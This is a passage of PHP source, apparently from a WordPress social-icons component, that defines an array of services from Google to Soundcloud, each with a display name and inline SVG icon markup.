M13.8,14.1c0.5-0.3,0.9-0.7,1.3-1.1c0.3-0.5,0.6-1,0.8-1.6c0.2-0.6,0.3-1.2,0.3-1.9 c0-0.6-0.1-1.2-0.2-1.9c-0.1-0.6-0.4-1.2-0.7-1.7c-0.3-0.5-0.7-0.9-1.3-1.2c-0.5-0.3-1.1-0.5-1.9-0.5s-1.4,0.2-1.9,0.5 c-0.5,0.3-1,0.7-1.3,1.2C8.5,6.4,8.3,7,8.1,7.6C8,8.2,7.9,8.9,7.9,9.5c0,0.6,0.1,1.3,0.2,1.9C8.3,12,8.6,12.5,8.9,13 c0.3,0.5,0.8,0.8,1.3,1.1c0.5,0.3,1.1,0.4,1.9,0.4C12.7,14.5,13.3,14.4,13.8,14.1z"></path></svg>'), 'google' => array('name' => 'Google', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M12.02,10.18v3.72v0.01h5.51c-0.26,1.57-1.67,4.22-5.5,4.22c-3.31,0-6.01-2.75-6.01-6.12s2.7-6.12,6.01-6.12 c1.87,0,3.13,0.8,3.85,1.48l2.84-2.76C16.99,2.99,14.73,2,12.03,2c-5.52,0-10,4.48-10,10s4.48,10,10,10c5.77,0,9.6-4.06,9.6-9.77 c0-0.83-0.11-1.42-0.25-2.05H12.02z"></path></svg>'), 'github' => array('name' => 'GitHub', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M12,2C6.477,2,2,6.477,2,12c0,4.419,2.865,8.166,6.839,9.489c0.5,0.09,0.682-0.218,0.682-0.484 c0-0.236-0.009-0.866-0.014-1.699c-2.782,0.602-3.369-1.34-3.369-1.34c-0.455-1.157-1.11-1.465-1.11-1.465 c-0.909-0.62,0.069-0.608,0.069-0.608c1.004,0.071,1.532,1.03,1.532,1.03c0.891,1.529,2.341,1.089,2.91,0.833 c0.091-0.647,0.349-1.086,0.635-1.337c-2.22-0.251-4.555-1.111-4.555-4.943c0-1.091,0.39-1.984,1.03-2.682 C6.546,8.54,6.202,7.524,6.746,6.148c0,0,0.84-0.269,2.75,1.025C10.295,6.95,11.15,6.84,12,6.836 c0.85,0.004,1.705,0.114,2.504,0.336c1.909-1.294,2.748-1.025,2.748-1.025c0.546,1.376,0.202,2.394,0.1,2.646 c0.64,0.699,1.026,1.591,1.026,2.682c0,3.841-2.337,4.687-4.565,4.935c0.359,0.307,0.679,0.917,0.679,1.852 c0,1.335-0.012,2.415-0.012,2.741c0,0.269,0.18,0.579,0.688,0.481C19.138,20.161,22,16.416,22,12C22,6.477,17.523,2,12,2z"></path></svg>'), 'gravatar' => array('name' => 'Gravatar', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M10.8001 4.69937V10.6494C10.8001 11.1001 10.9791 11.5323 11.2978 11.851C11.6165 12.1697 12.0487 12.3487 12.4994 12.3487C12.9501 12.3487 13.3824 12.1697 13.7011 11.851C14.0198 11.5323 14.1988 11.1001 14.1988 10.6494V6.69089C15.2418 7.05861 16.1371 7.75537 16.7496 8.67617C17.3622 9.59698 17.6589 10.6919 17.595 11.796C17.5311 12.9001 17.1101 13.9535 16.3954 14.7975C15.6807 15.6415 14.711 16.2303 13.6325 16.4753C12.5541 16.7202 11.4252 16.608 10.4161 16.1555C9.40691 15.703 8.57217 14.9348 8.03763 13.9667C7.50308 12.9985 7.29769 11.8828 7.45242 10.7877C7.60714 9.69266 8.11359 8.67755 8.89545 7.89537C9.20904 7.57521 9.38364 7.14426 9.38132 6.69611C9.37899 6.24797 9.19994 5.81884 8.88305 5.50195C8.56616 5.18506 8.13704 5.00601 7.68889 5.00369C7.24075 5.00137 6.80979 5.17597 6.48964 5.48956C5.09907 6.8801 4.23369 8.7098 4.04094 10.6669C3.84819 12.624 4.34 14.5873 5.43257 16.2224C6.52515 17.8575 8.15088 19.0632 10.0328 19.634C11.9146 20.2049 13.9362 20.1055 15.753 19.3529C17.5699 18.6003 19.0695 17.241 19.9965 15.5066C20.9234 13.7722 21.2203 11.7701 20.8366 9.84133C20.4528 7.91259 19.4122 6.17658 17.892 4.92911C16.3717 3.68163 14.466 2.99987 12.4994 3C12.0487 3 11.6165 3.17904 11.2978 3.49773C10.9791 3.81643 10.8001 4.24867 10.8001 4.69937Z" /></svg>'), 'instagram' => array('name' => 'Instagram', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M12,4.622c2.403,0,2.688,0.009,3.637,0.052c0.877,0.04,1.354,0.187,1.671,0.31c0.42,0.163,0.72,0.358,1.035,0.673 c0.315,0.315,0.51,0.615,0.673,1.035c0.123,0.317,0.27,0.794,0.31,1.671c0.043,0.949,0.052,1.234,0.052,3.637 s-0.009,2.688-0.052,3.637c-0.04,0.877-0.187,1.354-0.31,1.671c-0.163,0.42-0.358,0.72-0.673,1.035 c-0.315,0.315-0.615,0.51-1.035,0.673c-0.317,0.123-0.794,0.27-1.671,0.31c-0.949,0.043-1.233,0.052-3.637,0.052 s-2.688-0.009-3.637-0.052c-0.877-0.04-1.354-0.187-1.671-0.31c-0.42-0.163-0.72-0.358-1.035-0.673 c-0.315-0.315-0.51-0.615-0.673-1.035c-0.123-0.317-0.27-0.794-0.31-1.671C4.631,14.688,4.622,14.403,4.622,12 s0.009-2.688,0.052-3.637c0.04-0.877,0.187-1.354,0.31-1.671c0.163-0.42,0.358-0.72,0.673-1.035 c0.315-0.315,0.615-0.51,1.035-0.673c0.317-0.123,0.794-0.27,1.671-0.31C9.312,4.631,9.597,4.622,12,4.622 M12,3 C9.556,3,9.249,3.01,8.289,3.054C7.331,3.098,6.677,3.25,6.105,3.472C5.513,3.702,5.011,4.01,4.511,4.511 c-0.5,0.5-0.808,1.002-1.038,1.594C3.25,6.677,3.098,7.331,3.054,8.289C3.01,9.249,3,9.556,3,12c0,2.444,0.01,2.751,0.054,3.711 c0.044,0.958,0.196,1.612,0.418,2.185c0.23,0.592,0.538,1.094,1.038,1.594c0.5,0.5,1.002,0.808,1.594,1.038 c0.572,0.222,1.227,0.375,2.185,0.418C9.249,20.99,9.556,21,12,21s2.751-0.01,3.711-0.054c0.958-0.044,1.612-0.196,2.185-0.418 c0.592-0.23,1.094-0.538,1.594-1.038c0.5-0.5,0.808-1.002,1.038-1.594c0.222-0.572,0.375-1.227,0.418-2.185 C20.99,14.751,21,14.444,21,12s-0.01-2.751-0.054-3.711c-0.044-0.958-0.196-1.612-0.418-2.185c-0.23-0.592-0.538-1.094-1.038-1.594 c-0.5-0.5-1.002-0.808-1.594-1.038c-0.572-0.222-1.227-0.375-2.185-0.418C14.751,3.01,14.444,3,12,3L12,3z M12,7.378 c-2.552,0-4.622,2.069-4.622,4.622S9.448,16.622,12,16.622s4.622-2.069,4.622-4.622S14.552,7.378,12,7.378z M12,15 c-1.657,0-3-1.343-3-3s1.343-3,3-3s3,1.343,3,3S13.657,15,12,15z M16.804,6.116c-0.596,0-1.08,0.484-1.08,1.08 s0.484,1.08,1.08,1.08c0.596,0,1.08-0.484,1.08-1.08S17.401,6.116,16.804,6.116z"></path></svg>'), 'lastfm' => array('name' => 'Last.fm', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M10.5002,0 C4.7006,0 0,4.70109753 0,10.4998496 C0,16.2989526 4.7006,21 10.5002,21 C16.299,21 21,16.2989526 21,10.4998496 C21,4.70109753 16.299,0 10.5002,0 Z M14.69735,14.7204413 C13.3164,14.7151781 12.4346,14.0870017 11.83445,12.6859357 L11.6816001,12.3451305 L10.35405,9.31011397 C9.92709997,8.26875064 8.85260001,7.57120012 7.68010001,7.57120012 C6.06945001,7.57120012 4.75925001,8.88509738 4.75925001,10.5009524 C4.75925001,12.1164565 6.06945001,13.4303036 7.68010001,13.4303036 C8.77200001,13.4303036 9.76514999,12.827541 10.2719501,11.8567047 C10.2893,11.8235214 10.3239,11.8019673 10.36305,11.8038219 C10.4007,11.8053759 10.43535,11.8287847 10.4504,11.8631709 L10.98655,13.1045863 C11.0016,13.1389726 10.9956,13.17782 10.97225,13.2068931 C10.1605001,14.1995341 8.96020001,14.7683115 7.68010001,14.7683115 C5.33305,14.7683115 3.42340001,12.8535563 3.42340001,10.5009524 C3.42340001,8.14679459 5.33300001,6.23203946 7.68010001,6.23203946 C9.45720002,6.23203946 10.8909,7.19074535 11.6138,8.86359341 C11.6205501,8.88018505 12.3412,10.5707777 12.97445,12.0190621 C13.34865,12.8739575 13.64615,13.3959676 14.6288,13.4291508 C15.5663001,13.4612814 16.25375,12.9121534 16.25375,12.1484869 C16.25375,11.4691321 15.8320501,11.3003585 14.8803,10.98216 C13.2365,10.4397989 12.34495,9.88605929 12.34495,8.51817658 C12.34495,7.1809207 13.26665,6.31615054 14.692,6.31615054 C15.62875,6.31615054 16.3155,6.7286858 16.79215,7.5768142 C16.80495,7.60062396 16.8079001,7.62814302 16.8004001,7.65420843 C16.7929,7.68027384 16.7748,7.70212868 16.7507001,7.713808 L15.86145,8.16900031 C15.8178001,8.19200805 15.7643,8.17807308 15.73565,8.13847371 C15.43295,7.71345711 15.0956,7.52513451 14.6423,7.52513451 C14.05125,7.52513451 13.6220001,7.92899802 13.6220001,8.48649708 C13.6220001,9.17382194 14.1529001,9.34144259 15.0339,9.61923972 C15.14915,9.65578139 15.26955,9.69397731 15.39385,9.73432853 C16.7763,10.1865133 17.57675,10.7311301 17.57675,12.1836251 C17.57685,13.629654 16.3389,14.7204413 14.69735,14.7204413 Z"></path></svg>'), 'linkedin' => array('name' => 'LinkedIn', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M19.7,3H4.3C3.582,3,3,3.582,3,4.3v15.4C3,20.418,3.582,21,4.3,21h15.4c0.718,0,1.3-0.582,1.3-1.3V4.3 C21,3.582,20.418,3,19.7,3z M8.339,18.338H5.667v-8.59h2.672V18.338z M7.004,8.574c-0.857,0-1.549-0.694-1.549-1.548 c0-0.855,0.691-1.548,1.549-1.548c0.854,0,1.547,0.694,1.547,1.548C8.551,7.881,7.858,8.574,7.004,8.574z M18.339,18.338h-2.669 v-4.177c0-0.996-0.017-2.278-1.387-2.278c-1.389,0-1.601,1.086-1.601,2.206v4.249h-2.667v-8.59h2.559v1.174h0.037 c0.356-0.675,1.227-1.387,2.526-1.387c2.703,0,3.203,1.779,3.203,4.092V18.338z"></path></svg>'), 'mail' => array('name' => 'Mail', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M19,5H5c-1.1,0-2,.9-2,2v10c0,1.1.9,2,2,2h14c1.1,0,2-.9,2-2V7c0-1.1-.9-2-2-2zm.5,12c0,.3-.2.5-.5.5H5c-.3,0-.5-.2-.5-.5V9.8l7.5,5.6,7.5-5.6V17zm0-9.1L12,13.6,4.5,7.9V7c0-.3.2-.5.5-.5h14c.3,0,.5.2.5.5v.9z"></path></svg>'), 'mastodon' => array('name' => 'Mastodon', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M23.193 7.879c0-5.206-3.411-6.732-3.411-6.732C18.062.357 15.108.025 12.041 0h-.076c-3.068.025-6.02.357-7.74 1.147 0 0-3.411 1.526-3.411 6.732 0 1.192-.023 2.618.015 4.129.124 5.092.934 10.109 5.641 11.355 2.17.574 4.034.695 5.535.612 2.722-.15 4.25-.972 4.25-.972l-.09-1.975s-1.945.613-4.129.539c-2.165-.074-4.449-.233-4.799-2.891a5.499 5.499 0 0 1-.048-.745s2.125.52 4.817.643c1.646.075 3.19-.097 4.758-.283 3.007-.359 5.625-2.212 5.954-3.905.517-2.665.475-6.507.475-6.507zm-4.024 6.709h-2.497V8.469c0-1.29-.543-1.944-1.628-1.944-1.2 0-1.802.776-1.802 2.312v3.349h-2.483v-3.35c0-1.536-.602-2.312-1.802-2.312-1.085 0-1.628.655-1.628 1.944v6.119H4.832V8.284c0-1.289.328-2.313.987-3.07.68-.758 1.569-1.146 2.674-1.146 1.278 0 2.246.491 2.886 1.474L12 6.585l.622-1.043c.64-.983 1.608-1.474 2.886-1.474 1.104 0 1.994.388 2.674 1.146.658.757.986 1.781.986 3.07v6.304z"/></svg>'), 'meetup' => array('name' => 'Meetup', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M19.24775,14.722a3.57032,3.57032,0,0,1-2.94457,3.52073,3.61886,3.61886,0,0,1-.64652.05634c-.07314-.0008-.10187.02846-.12507.09547A2.38881,2.38881,0,0,1,13.49453,20.094a2.33092,2.33092,0,0,1-1.827-.50716.13635.13635,0,0,0-.19878-.00408,3.191,3.191,0,0,1-2.104.60248,3.26309,3.26309,0,0,1-3.00324-2.71993,2.19076,2.19076,0,0,1-.03512-.30865c-.00156-.08579-.03413-.1189-.11608-.13493a2.86421,2.86421,0,0,1-1.23189-.56111,2.945,2.945,0,0,1-1.166-2.05749,2.97484,2.97484,0,0,1,.87524-2.50774.112.112,0,0,0,.02091-.16107,2.7213,2.7213,0,0,1-.36648-1.48A2.81256,2.81256,0,0,1,6.57673,7.58838a.35764.35764,0,0,0,.28869-.22819,4.2208,4.2208,0,0,1,6.02892-1.90111.25161.25161,0,0,0,.22023.0243,3.65608,3.65608,0,0,1,3.76031.90678A3.57244,3.57244,0,0,1,17.95918,8.626a2.97339,2.97339,0,0,1,.01829.57356.10637.10637,0,0,0,.0853.12792,1.97669,1.97669,0,0,1,1.27939,1.33733,2.00266,2.00266,0,0,1-.57112,2.12652c-.05284.05166-.04168.08328-.01173.13489A3.51189,3.51189,0,0,1,19.24775,14.722Zm-6.35959-.27836a1.6984,1.6984,0,0,0,1.14556,1.61113,3.82039,3.82039,0,0,0,1.036.17935,1.46888,1.46888,0,0,0,.73509-.12255.44082.44082,0,0,0,.26057-.44274.45312.45312,0,0,0-.29211-.43375.97191.97191,0,0,0-.20678-.063c-.21326-.03806-.42754-.0701-.63973-.11215a.54787.54787,0,0,1-.50172-.60926,2.75864,2.75864,0,0,1,.1773-.901c.1763-.535.414-1.045.64183-1.55913A12.686,12.686,0,0,0,15.85,10.47863a1.58461,1.58461,0,0,0,.04861-.87208,1.04531,1.04531,0,0,0-.85432-.83981,1.60658,1.60658,0,0,0-1.23654.16594.27593.27593,0,0,1-.36286-.03413c-.085-.0747-.16594-.15379-.24918-.23055a.98682.98682,0,0,0-1.33577-.04933,6.1468,6.1468,0,0,1-.4989.41615.47762.47762,0,0,1-.51535.03566c-.17448-.09307-.35512-.175-.53531-.25665a1.74949,1.74949,0,0,0-.56476-.2016,1.69943,1.69943,0,0,0-1.61654.91787,8.05815,8.05815,0,0,0-.32952.80126c-.45471,1.2557-.82507,2.53825-1.20838,3.81639a1.24151,1.24151,0,0,0,.51532,1.44389,1.42659,1.42659,0,0,0,1.22008.17166,1.09728,1.09728,0,0,0,.66994-.69764c.44145-1.04111.839-2.09989,1.25981-3.14926.11581-.28876.22792-.57874.35078-.86438a.44548.44548,0,0,1,.69189-.19539.50521.50521,0,0,1,.15044.43836,1.75625,1.75625,0,0,1-.14731.50453c-.27379.69219-.55265,1.38236-.82766,2.074a2.0836,2.0836,0,0,0-.14038.42876.50719.50719,0,0,0,.27082.57722.87236.87236,0,0,0,.66145.02739.99137.99137,0,0,0,.53406-.532q.61571-1.20914,1.228-2.42031.28423-.55863.57585-1.1133a.87189.87189,0,0,1,.29055-.35253.34987.34987,0,0,1,.37634-.01265.30291.30291,0,0,1,.12434.31459.56716.56716,0,0,1-.04655.1915c-.05318.12739-.10286.25669-.16183.38156-.34118.71775-.68754,1.43273-1.02568,2.152A2.00213,2.00213,0,0,0,12.88816,14.44366Zm4.78568,5.28972a.88573.88573,0,0,0-1.77139.00465.8857.8857,0,0,0,1.77139-.00465Zm-14.83838-7.296a.84329.84329,0,1,0,.00827-1.68655.8433.8433,0,0,0-.00827,1.68655Zm10.366-9.43673a.83506.83506,0,1,0-.0091,1.67.83505.83505,0,0,0,.0091-1.67Zm6.85014,5.22a.71651.71651,0,0,0-1.433.0093.71656.71656,0,0,0,1.433-.0093ZM5.37528,6.17908A.63823.63823,0,1,0,6.015,5.54483.62292.62292,0,0,0,5.37528,6.17908Zm6.68214,14.80843a.54949.54949,0,1,0-.55052.541A.54556.54556,0,0,0,12.05742,20.98752Zm8.53235-8.49689a.54777.54777,0,0,0-.54027.54023.53327.53327,0,0,0,.532.52293.51548.51548,0,0,0,.53272-.5237A.53187.53187,0,0,0,20.58977,12.49063ZM7.82846,2.4715a.44927.44927,0,1,0,.44484.44766A.43821.43821,0,0,0,7.82846,2.4715Zm13.775,7.60492a.41186.41186,0,0,0-.40065.39623.40178.40178,0,0,0,.40168.40168A.38994.38994,0,0,0,22,10.48172.39946.39946,0,0,0,21.60349,10.07642ZM5.79193,17.96207a.40469.40469,0,0,0-.397-.39646.399.399,0,0,0-.396.405.39234.39234,0,0,0,.39939.389A.39857.39857,0,0,0,5.79193,17.96207Z"></path></svg>'), 'medium' => array('name' => 'Medium', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M20.962,7.257l-5.457,8.867l-3.923-6.375l3.126-5.08c0.112-0.182,0.319-0.286,0.527-0.286c0.05,0,0.1,0.008,0.149,0.02 c0.039,0.01,0.078,0.023,0.114,0.041l5.43,2.715l0.006,0.003c0.004,0.002,0.007,0.006,0.011,0.008 C20.971,7.191,20.98,7.227,20.962,7.257z M9.86,8.592v5.783l5.14,2.57L9.86,8.592z M15.772,17.331l4.231,2.115 C20.554,19.721,21,19.529,21,19.016V8.835L15.772,17.331z M8.968,7.178L3.665,4.527C3.569,4.479,3.478,4.456,3.395,4.456 C3.163,4.456,3,4.636,3,4.938v11.45c0,0.306,0.224,0.669,0.498,0.806l4.671,2.335c0.12,0.06,0.234,0.088,0.337,0.088 c0.29,0,0.494-0.225,0.494-0.602V7.231C9,7.208,8.988,7.188,8.968,7.178z"></path></svg>'), 'patreon' => array('name' => 'Patreon', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M20 8.40755C19.9969 6.10922 18.2543 4.22555 16.2097 3.54588C13.6708 2.70188 10.3222 2.82421 7.89775 3.99921C4.95932 5.42355 4.03626 8.54355 4.00186 11.6552C3.97363 14.2136 4.2222 20.9517 7.92225 20.9997C10.6715 21.0356 11.0809 17.3967 12.3529 15.6442C13.258 14.3974 14.4233 14.0452 15.8578 13.6806C18.3233 13.0537 20.0036 11.0551 20 8.40755Z" /></svg>'), 'pinterest' => array('name' => 'Pinterest', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M12.289,2C6.617,2,3.606,5.648,3.606,9.622c0,1.846,1.025,4.146,2.666,4.878c0.25,0.111,0.381,0.063,0.439-0.169 c0.044-0.175,0.267-1.029,0.365-1.428c0.032-0.128,0.017-0.237-0.091-0.362C6.445,11.911,6.01,10.75,6.01,9.668 c0-2.777,2.194-5.464,5.933-5.464c3.23,0,5.49,2.108,5.49,5.122c0,3.407-1.794,5.768-4.13,5.768c-1.291,0-2.257-1.021-1.948-2.277 c0.372-1.495,1.089-3.112,1.089-4.191c0-0.967-0.542-1.775-1.663-1.775c-1.319,0-2.379,1.309-2.379,3.059 c0,1.115,0.394,1.869,0.394,1.869s-1.302,5.279-1.54,6.261c-0.405,1.666,0.053,4.368,0.094,4.604 c0.021,0.126,0.167,0.169,0.25,0.063c0.129-0.165,1.699-2.419,2.142-4.051c0.158-0.59,0.817-2.995,0.817-2.995 c0.43,0.784,1.681,1.446,3.013,1.446c3.963,0,6.822-3.494,6.822-7.833C20.394,5.112,16.849,2,12.289,2"></path></svg>'), 'pocket' => array('name' => 'Pocket', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M21.927,4.194C21.667,3.48,20.982,3,20.222,3h-0.01h-1.721H3.839C3.092,3,2.411,3.47,2.145,4.17 C2.066,4.378,2.026,4.594,2.026,4.814v6.035l0.069,1.2c0.29,2.73,1.707,5.115,3.899,6.778c0.039,0.03,0.079,0.059,0.119,0.089 l0.025,0.018c1.175,0.859,2.491,1.441,3.91,1.727c0.655,0.132,1.325,0.2,1.991,0.2c0.615,0,1.232-0.057,1.839-0.17 c0.073-0.014,0.145-0.028,0.219-0.044c0.02-0.004,0.042-0.012,0.064-0.023c1.359-0.297,2.621-0.864,3.753-1.691l0.025-0.018 c0.04-0.029,0.08-0.058,0.119-0.089c2.192-1.664,3.609-4.049,3.898-6.778l0.069-1.2V4.814C22.026,4.605,22,4.398,21.927,4.194z M17.692,10.481l-4.704,4.512c-0.266,0.254-0.608,0.382-0.949,0.382c-0.342,0-0.684-0.128-0.949-0.382l-4.705-4.512 C5.838,9.957,5.82,9.089,6.344,8.542c0.524-0.547,1.392-0.565,1.939-0.04l3.756,3.601l3.755-3.601 c0.547-0.524,1.415-0.506,1.939,0.04C18.256,9.089,18.238,9.956,17.692,10.481z"></path></svg>'), 'reddit' => array('name' => 'Reddit', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M22 12.068a2.184 2.184 0 0 0-2.186-2.186c-.592 0-1.13.233-1.524.609-1.505-1.075-3.566-1.774-5.86-1.864l1.004-4.695 3.261.699A1.56 1.56 0 1 0 18.255 3c-.61-.001-1.147.357-1.398.877l-3.638-.77a.382.382 0 0 0-.287.053.348.348 0 0 0-.161.251l-1.112 5.233c-2.33.072-4.426.77-5.95 1.864a2.201 2.201 0 0 0-1.523-.61 2.184 2.184 0 0 0-.896 4.176c-.036.215-.053.43-.053.663 0 3.37 3.924 6.111 8.763 6.111s8.763-2.724 8.763-6.11c0-.216-.017-.449-.053-.664A2.207 2.207 0 0 0 22 12.068Zm-15.018 1.56a1.56 1.56 0 0 1 3.118 0c0 .86-.699 1.558-1.559 1.558-.86.018-1.559-.699-1.559-1.559Zm8.728 4.139c-1.076 1.075-3.119 1.147-3.71 1.147-.61 0-2.652-.09-3.71-1.147a.4.4 0 0 1 0-.573.4.4 0 0 1 .574 0c.68.68 2.114.914 3.136.914 1.022 0 2.473-.233 3.136-.914a.4.4 0 0 1 .574 0 .436.436 0 0 1 0 .573Zm-.287-2.563a1.56 1.56 0 0 1 0-3.118c.86 0 1.56.699 1.56 1.56 0 .841-.7 1.558-1.56 1.558Z"></path></svg>'), 'share' => array('name' => 'Share Icon', 'icon' => '<svg width="24" height="24" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M9 11.8l6.1-4.5c.1.4.4.7.9.7h2c.6 0 1-.4 1-1V5c0-.6-.4-1-1-1h-2c-.6 0-1 .4-1 1v.4l-6.4 4.8c-.2-.1-.4-.2-.6-.2H6c-.6 0-1 .4-1 1v2c0 .6.4 1 1 1h2c.2 0 .4-.1.6-.2l6.4 4.8v.4c0 .6.4 1 1 1h2c.6 0 1-.4 1-1v-2c0-.6-.4-1-1-1h-2c-.5 0-.8.3-.9.7L9 12.2v-.4z"/></svg>'), 'skype' => array('name' => 'Skype', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M10.113,2.699c0.033-0.006,0.067-0.013,0.1-0.02c0.033,0.017,0.066,0.033,0.098,0.051L10.113,2.699z M2.72,10.223 c-0.006,0.034-0.011,0.069-0.017,0.103c0.018,0.032,0.033,0.064,0.051,0.095L2.72,10.223z M21.275,13.771 c0.007-0.035,0.011-0.071,0.018-0.106c-0.018-0.031-0.033-0.064-0.052-0.095L21.275,13.771z M13.563,21.199 c0.032,0.019,0.065,0.035,0.096,0.053c0.036-0.006,0.071-0.011,0.105-0.017L13.563,21.199z M22,16.386 c0,1.494-0.581,2.898-1.637,3.953c-1.056,1.057-2.459,1.637-3.953,1.637c-0.967,0-1.914-0.251-2.75-0.725 c0.036-0.006,0.071-0.011,0.105-0.017l-0.202-0.035c0.032,0.019,0.065,0.035,0.096,0.053c-0.543,0.096-1.099,0.147-1.654,0.147 c-1.275,0-2.512-0.25-3.676-0.743c-1.125-0.474-2.135-1.156-3.002-2.023c-0.867-0.867-1.548-1.877-2.023-3.002 c-0.493-1.164-0.743-2.401-0.743-3.676c0-0.546,0.049-1.093,0.142-1.628c0.018,0.032,0.033,0.064,0.051,0.095L2.72,10.223 c-0.006,0.034-0.011,0.069-0.017,0.103C2.244,9.5,2,8.566,2,7.615c0-1.493,0.582-2.898,1.637-3.953 c1.056-1.056,2.46-1.638,3.953-1.638c0.915,0,1.818,0.228,2.622,0.655c-0.033,0.007-0.067,0.013-0.1,0.02l0.199,0.031 c-0.032-0.018-0.066-0.034-0.098-0.051c0.002,0,0.003-0.001,0.004-0.001c0.586-0.112,1.187-0.169,1.788-0.169 c1.275,0,2.512,0.249,3.676,0.742c1.124,0.476,2.135,1.156,3.002,2.024c0.868,0.867,1.548,1.877,2.024,3.002 c0.493,1.164,0.743,2.401,0.743,3.676c0,0.575-0.054,1.15-0.157,1.712c-0.018-0.031-0.033-0.064-0.052-0.095l0.034,0.201 c0.007-0.035,0.011-0.071,0.018-0.106C21.754,14.494,22,15.432,22,16.386z M16.817,14.138c0-1.331-0.613-2.743-3.033-3.282 l-2.209-0.49c-0.84-0.192-1.807-0.444-1.807-1.237c0-0.794,0.679-1.348,1.903-1.348c2.468,0,2.243,1.696,3.468,1.696 c0.645,0,1.209-0.379,1.209-1.031c0-1.521-2.435-2.663-4.5-2.663c-2.242,0-4.63,0.952-4.63,3.488c0,1.221,0.436,2.521,2.839,3.123 l2.984,0.745c0.903,0.223,1.129,0.731,1.129,1.189c0,0.762-0.758,1.507-2.129,1.507c-2.679,0-2.307-2.062-3.743-2.062 c-0.645,0-1.113,0.444-1.113,1.078c0,1.236,1.501,2.886,4.856,2.886C15.236,17.737,16.817,16.199,16.817,14.138z"></path></svg>'), 'snapchat' => array('name' => 'Snapchat', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M12.065,2a5.526,5.526,0,0,1,3.132.892A5.854,5.854,0,0,1,17.326,5.4a5.821,5.821,0,0,1,.351,2.33q0,.612-.117,2.487a.809.809,0,0,0,.365.091,1.93,1.93,0,0,0,.664-.176,1.93,1.93,0,0,1,.664-.176,1.3,1.3,0,0,1,.729.234.7.7,0,0,1,.351.6.839.839,0,0,1-.41.7,2.732,2.732,0,0,1-.9.41,3.192,3.192,0,0,0-.9.378.728.728,0,0,0-.41.618,1.575,1.575,0,0,0,.156.56,6.9,6.9,0,0,0,1.334,1.953,5.6,5.6,0,0,0,1.881,1.315,5.875,5.875,0,0,0,1.042.3.42.42,0,0,1,.365.456q0,.911-2.852,1.341a1.379,1.379,0,0,0-.143.507,1.8,1.8,0,0,1-.182.605.451.451,0,0,1-.429.241,5.878,5.878,0,0,1-.807-.085,5.917,5.917,0,0,0-.833-.085,4.217,4.217,0,0,0-.807.065,2.42,2.42,0,0,0-.82.293,6.682,6.682,0,0,0-.755.5q-.351.267-.755.527a3.886,3.886,0,0,1-.989.436A4.471,4.471,0,0,1,11.831,22a4.307,4.307,0,0,1-1.256-.176,3.784,3.784,0,0,1-.976-.436q-.4-.26-.749-.527a6.682,6.682,0,0,0-.755-.5,2.422,2.422,0,0,0-.807-.293,4.432,4.432,0,0,0-.82-.065,5.089,5.089,0,0,0-.853.1,5,5,0,0,1-.762.1.474.474,0,0,1-.456-.241,1.819,1.819,0,0,1-.182-.618,1.411,1.411,0,0,0-.143-.521q-2.852-.429-2.852-1.341a.42.42,0,0,1,.365-.456,5.793,5.793,0,0,0,1.042-.3,5.524,5.524,0,0,0,1.881-1.315,6.789,6.789,0,0,0,1.334-1.953A1.575,1.575,0,0,0,6,12.9a.728.728,0,0,0-.41-.618,3.323,3.323,0,0,0-.9-.384,2.912,2.912,0,0,1-.9-.41.814.814,0,0,1-.41-.684.71.71,0,0,1,.338-.593,1.208,1.208,0,0,1,.716-.241,1.976,1.976,0,0,1,.625.169,2.008,2.008,0,0,0,.69.169.919.919,0,0,0,.416-.091q-.117-1.849-.117-2.474A5.861,5.861,0,0,1,6.385,5.4,5.516,5.516,0,0,1,8.625,2.819,7.075,7.075,0,0,1,12.062,2Z"></path></svg>'), 'soundcloud' => array('name' => 'Soundcloud', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M8.9,16.1L9,14L8.9,9.5c0-0.1,0-0.1-0.1-0.1c0,0-0.1-0.1-0.1-0.1c-0.1,0-0.1,0-0.1,0.1c0,0-0.1,0.1-0.1,0.1L8.3,14l0.1,2.1 c0,0.1,0,0.1,0.1,0.1c0,0,0.1,0.1,0.1,0.1C8.8,16.3,8.9,16.3,8.9,16.1z 